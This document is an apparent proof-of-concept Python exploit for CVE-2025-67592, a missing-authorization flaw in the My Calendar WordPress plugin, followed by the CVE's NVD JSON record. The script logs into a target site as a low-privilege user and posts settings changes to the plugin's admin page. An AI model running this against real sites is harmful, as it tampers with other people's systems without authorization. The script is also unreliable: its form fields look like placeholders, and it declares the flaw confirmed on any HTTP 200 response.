CVE-2025-67592

import requests import sys from urllib.parse import urljoin # CVE-2025-67592 PoC - Missing Authorization in My Calendar WordPress Plugin # Target: WordPress site with My Calendar plugin <= 3.6.16 def exploit_cve_2025_67592(target_url, username, password): """ Exploit for Missing Authorization vulnerability in My Calendar plugin. This PoC demonstrates how a low-privilege user can perform admin-level actions. """ session = requests.Session() # Step 1: Login as low-privilege user login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print('[-] Login failed') return False print('[+] Login successful as low-privilege user') # Step 2: Exploit the missing authorization vulnerability # Target admin functionality that should require higher privileges exploit_url = urljoin(target_url, '/wp-admin/admin.php?page=my-calendar') # Example: Modify calendar settings (requires admin privileges) exploit_data = { 'my-calendar-settings': 'true', 'calendar_name': 'Test Calendar', 'calendar_email': '[email protected]', 'save': 'true' } resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200: print('[+] Exploit sent - Missing authorization check detected') print('[+] Low-privilege user can modify admin settings') return True return False if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_67592(target, user, pwd)

{"cve": {"id": "CVE-2025-67592", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:37.340", "lastModified": "2026-04-27T18:16:45.517", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Joe Dolson My Calendar my-calendar allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects My Calendar: from n/a through <= 3.6.16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/my-calendar/vulnerability/wordpress-my-calendar-plugin-3-6-16-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}